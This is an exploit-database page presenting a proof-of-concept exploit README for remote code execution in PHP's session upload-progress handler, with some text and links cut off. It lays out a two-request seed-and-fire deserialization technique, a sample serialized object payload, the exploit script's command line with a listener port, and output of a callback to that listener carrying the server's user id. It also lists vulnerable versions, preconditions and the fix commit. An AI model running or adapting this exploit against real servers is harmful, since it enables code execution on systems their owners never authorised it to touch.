Back Sploitus Exploit for Improperly Controlled Sequential Memory Allocation in Php
- **GHSA**: [GHSA-6wmf-4rv5-p3rp]( — *"RCE via stale global state"*
- **Affected**: ` This tool may be used for legal purposes only. Users take full responsibility for any
> actions performed using this tool. Only run it against systems you own or are
> authorized to test. The author accepts no liability for damage caused by this tool.
The session **upload-progress handler** (enabled by default, no application call to
`session_start()` required) decodes the session file during **request startup, before
RINIT** — before any application code runs — with **full unserialize semantics**
(class lookup, `__unserialize()`, `__wakeup()`, autoload, `unserialize_callback_func`).
An attacker plants a serialized object in the session file in two requests:
1. **SEED** — multipart upload to a path running `session.serialize_handler=php_serialize`
with `PHP_SESSION_UPLOAD_PROGRESS=x|`. The `php_serialize` handler
length-prefixes the key, so the `|` and the object survive verbatim:
a:1:{s:33:"upload_progress_x|O:4:"Evil":0:{}";a:5:{...}}
2. **FIRE** — multipart upload to a path running `session.serialize_handler=php`
(the default) with the same session cookie. The `php` decoder splits the file at the
first `|`: everything after it is **unserialized during request startup**.
The fixed builds neutralize the class lookup during this decode
(`incomplete_classes_only` while `PS(in_rfc1867_update)` is set): the poisoned file is
- vulnerable PHP (`< 8.2.35`, `< 8.3.36`, `< 8.4.27`, `< 8.5.12`)
- `session.upload_progress.enabled=1` (default)
- `session.upload_progress.cleanup=0` on the seed path (or a mid-upload race)
- a gadget class available pre-RINIT (the application's `opcache.preload` file, or an
- two paths with different `session.serialize_handler` values (or an application that
python3 cve-2026-109619.py -t \
--seed-path /app1/index.php --fire-path /app2/index.php \
--payload 'O:4:"Evil":0:{}' --listen-port 9999
The one-shot listener proves the RCE: the preloaded gadget phones when its magic
method runs. Output against a vulnerable 8.2.34 target:
[+] CALLBACK: /?tag=__unserialize&id=uid%3D33(www-data)%20gid%3D33(www-data)%20groups%3D33(www-data)
[+] RCE CONFIRMED - magic method executed during PHP Request Startup
(pre-RINIT: before any application code ran)
The response body is only the application's own output — the app never touched
sessions. The target-side error log independently proves the phase:
`PHP Request Startup: Failed to decode session object`.
## Verification (reproduced on 8.2.34, killed on 8.2.35)
| Check | PHP 8.2.34 (vulnerable) | PHP 8.2.35 (fixed) |
| Poisoned session file written by upload-progress | yes (370 B, same structure both sides) | yes |
| Decode runs during `PHP Request Startup` (pre-RINIT) | yes | yes |
| Magic method fires | **yes** — `uid=33(www-data)` | **no** — marker absent |
| Exact vulnerable artifact replayed | fires | no marker |
| Normal `unserialize()` of the same payload (control) | n/a | fires — payload/class valid |
The kill is exactly the documented fix: during `PS(in_rfc1867_update)` the unserializer
skips class lookup (`ce = PHP_IC_ENTRY`), so `__unserialize`/`__wakeup`/autoload cannot
- [GHSA-6wmf-4rv5-p3rp]( — php-src security advisory
- php.net: [8.2.35]( ·
[8.3.36]( ·
[8.4.27]( ·
[8.5.12](
- Fix commit (8.2): `01a40e89fbfc499936e3b05888d8f00bfde886df`
- Regression test added by the fix: `ext/session/tests/rfc1867_no_user_code.phpt`
The full story
This article is one source in a clustered incident — the cluster page carries the summary, timeline and every other outlet covering it.
